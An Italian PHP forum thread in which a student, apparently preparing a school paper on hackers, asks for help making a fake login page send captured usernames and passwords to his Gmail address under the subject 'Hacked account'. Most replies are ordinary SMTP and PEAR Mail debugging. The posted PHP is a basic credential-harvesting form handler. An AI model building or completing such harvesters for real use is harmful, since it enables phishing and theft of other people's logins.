Visualizzazione dei risultati da 1 a 8 su 8

Discussione: Funzione mail()

  1. #1

    Funzione mail()

    Salve a tutti...sto impazzendo con un programma che sto facendo per l'esame di maturità...
    Ho scelto di are una tesina sugli Hacker e il professore mi ha proposto di realizzare un programma che rubi password in una "fantomatica" pagina creata da me,in cui vi sono due campi: User e Password...che tramite un form,quando premo il pulsante,mando i valori contenuti dentro user e password(precedentemente salvati in due variabili di nome $User e $Pass) alla mia casella di posta gmail...per ora sono riuscito come alternativa a salvare i dati in un file di testo...ma sto impazzendo per inviarli via mail,perché non riesco né a configurare il file php.ini non capsico come si fa con gmail,né capisco se ho commesso errori di sintassi....
    il codice è il seguente

    Codice PHP:
    <?php $User $_POST['email']; $Pass $_POST['pass']; $destinatario "xxxxxxxxxxxxxx@gmail.com"$oggetto="Hacked account"$messaggio='Nome utente: $User Password: $Pass'$header="From: [email]xxxxxxxxxxx@gmail.com[/email]"mail($destinatario$oggetto$messaggio$header); ?>
    1)Sbaglio qualcosa?
    2) Come configuro il php.ini e vari file collegati alla funzione mail() per inviare messaggi di posta al mio indirizzo gmail?

  2. #2
    Utente di HTML.it L'avatar di jcsnake
    Registrato dal
    Jun 2010
    Messaggi
    629
    Ciao, cercando in rete ho trovato questo codice che fa proprio al caso tuo...in ogni caso per mandare un messaggio di posta con la funzione mail() facendo sì che tu la mandi con l'account gmail, hai bisogno di loggarti al server smtp di gmail, non ha nulla a che vedere con la tua configurazione "locale" di php, quindi non devi andare a cambiare nulla nel php.ini

    Ti posto l'esempio che ho trovato, non l'ho provato quindi non posso garantirti che funzioni...

    Codice PHP:

    <?php
    require_once "Mail.php";

    $from "Sandra Sender <sender@example.com>";
    $to "Ramona Recipient <recipient@example.com>";
    $subject "Hi!";
    $body "Hi,\n\nHow are you?";

    // stick your GMAIL SMTP info here! ------------------------------
    $host "mail.example.com";
    $username "smtp_username";
    $password "smtp_password";
    // --------------------------------------------------------------

    $headers = array ('From' => $from,
      
    'To' => $to,
      
    'Subject' => $subject);
    $smtp Mail::factory('smtp',
      array (
    'host' => $host,
        
    'auth' => true,
        
    'username' => $username,
        
    'password' => $password));

    $mail $smtp->send($to$headers$body);

    if (
    PEAR::isError($mail)) {
      echo(
    "

    $mail->getMessage() . "</p>");
     } else {
      echo(
    "

    Message successfully sent!</p>"
    );
     }
    ?>
    Spero ti sarà utile

  3. #3
    Per inviare mail puoi usare smtp o sendmail dipende da cosa vuoi fare. Se stai lavorando su un localhost, e hai configurato un server SMTP allora puoi usare quello per inviare mail. Altrimenti puoi utilizzare un smtp valido, per esempio quello del tuo ISP (Wind se hai un contratto wind, oppure tiscali, telecom, ecc.) - non centra il dominio del destinatario.

    Utilizzare quello del tuo ISP è comodo ma ha un problema: che chiaramente se cambi postazione, ad esempio se vai a casa di un amico che non ha il tuo stesso ISP, allora non riuscirai a mandare mail con la tua applicazione.

    Puoi allora provare utilizzando l'SMTP di un tuo provider di posta in cui hai una email, ad esempio gmail: ma non è obbligatorio che ci sia una corrispondenza tra dominio destinatario e dominio mittente.

    (il discorso sarebbe lungo, spero di essere stato chiaro )

  4. #4
    Si grazie mille..sei stato chiarissimo per quanto riguarda jcsnake... adesso lo provo poi ti dico com'è andata...

    Comunque la situazione è questa io lavoro con xampp in virtuale e avvio la pagina da me creata con localhost/cartella/file.htm...e voglio mandare le variabili dal mio pc all'account gmail,il pc è sempre il mio anche agli esami,visto che mi hanno fatto noto che posso portare tranquillamente il mio note...meglio di così!
    Grazie per i consigli,adesso provo tutto

  5. #5
    Scusate il doppio post ma non posso modificare...

    Allora io ho fatto così

    Codice PHP:
    $User $_POST['email'];
    $Pass $_POST['pass'];


    require_once 
    "Mail.php"

    $from "Piccio <andrea.piccini23@gmail.com>"
    $to "Piccio <andrea.piccini23@gmail.com>"
    $subject "Hacked account"
    $body "User: $User        Password: $Pass"

    // stick your GMAIL SMTP info here! ------------------------------ 
    $host "smtp.google.com"
    $username "andrea.piccini23"
    $password "xxxxxxxx"
    // -------------------------------------------------------------- 

    $headers = array ('From' => $from
      
    'To' => $to
      
    'Subject' => $subject); 
    $smtp Mail::factory('smtp'
      array (
    'host' => $host
        
    'auth' => true
        
    'username' => $username
        
    'password' => $password)); 

    $mail $smtp->send($to$headers$body); 

    if (
    PEAR::isError($mail)) { 
      echo(
    "

    $mail->getMessage() . "</p>"); 
     } else { 
      echo(
    "

    Message successfully sent!</p>"
    ); 
     } 

    Non mi funzia...l'errore che restituisce sul browser è il tale:


    Deprecated: Assigning the return value of new by reference is deprecated in C:\xampp\php\PEAR\Mail.php on line 154

    Strict Standards: Non-static method Mail::factory() should not be called statically in C:\xampp\htdocs\Esami\Hack.php on line 26

    Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Mail\smtp.php on line 225

    Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871

    Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 339

    Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 340

    Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871

    Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Mail\smtp.php on line 229

    Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871

    Strict Standards: Non-static method PEAR::isError() should not be called statically in C:\xampp\htdocs\Esami\Hack.php on line 30
    Failed to connect to smtp.google.com:25 [SMTP: Failed to connect socket: Impossibile stabilire la connessione. Risposta non corretta della parte connessa dopo l'intervallo di tempo oppure mancata risposta dall'host collegato. (code: -1, response: )]


    Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 364

    Strict Standards: Non-static method PEAR::isError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 196

    Strict Standards: Non-static method PEAR::getStaticProperty() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\PEAR.php on line 871

    Strict Standards: Non-static method PEAR::raiseError() should not be called statically, assuming $this from incompatible context in C:\xampp\php\PEAR\Net\SMTP.php on line 197

    Le linee non sono quelle giuste perché c'era della roba sotto commento nel php che ho omesso...
    da che dipende? e soprattutto che cos'è
    Codice PHP:
     require_once "Mail.php"

  6. #6
    tutti i messaggi del tipo:
    Non-static method Mail::factory()

    sono dovuti al fatto che in mail.php nella classe Mail tutti i metodi(funzioni della classe) che stai usando non sono "statici" vale a dire che non sono dichiarati come "static function factory()" e via dicendo.

    Puoi richiamare quelle funzioni istanziando la classe Mail in questo modo:
    $Mail = new Mail();

    e usando le funzioni chiamandole con:
    $Mail->factory();

    require_once "Mail.php" richiede un unico inserimento del file Mail.php, il quale ha una classe Mail al suo interno che viene usata per inviare le email... Se non hai pratica nell'usare le classi ti consiglio la guida PHP5 OOP (Object Oriented Programming) di questo sito, si impara molto velocemente
    Perpetual Ribellion With Absolutely No Cause

  7. #7
    Un mio amico c'è riuscito ma non ha fatto tutti questi passaggi :O
    In sostanza cosa dovrei fare ? Non so proprio da che parte farmi...

  8. #8
    Niente non c'è verso...non riesco proprio a capire come funziona questa maledettissima mail...metodi alternativi o suggerimenti?

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.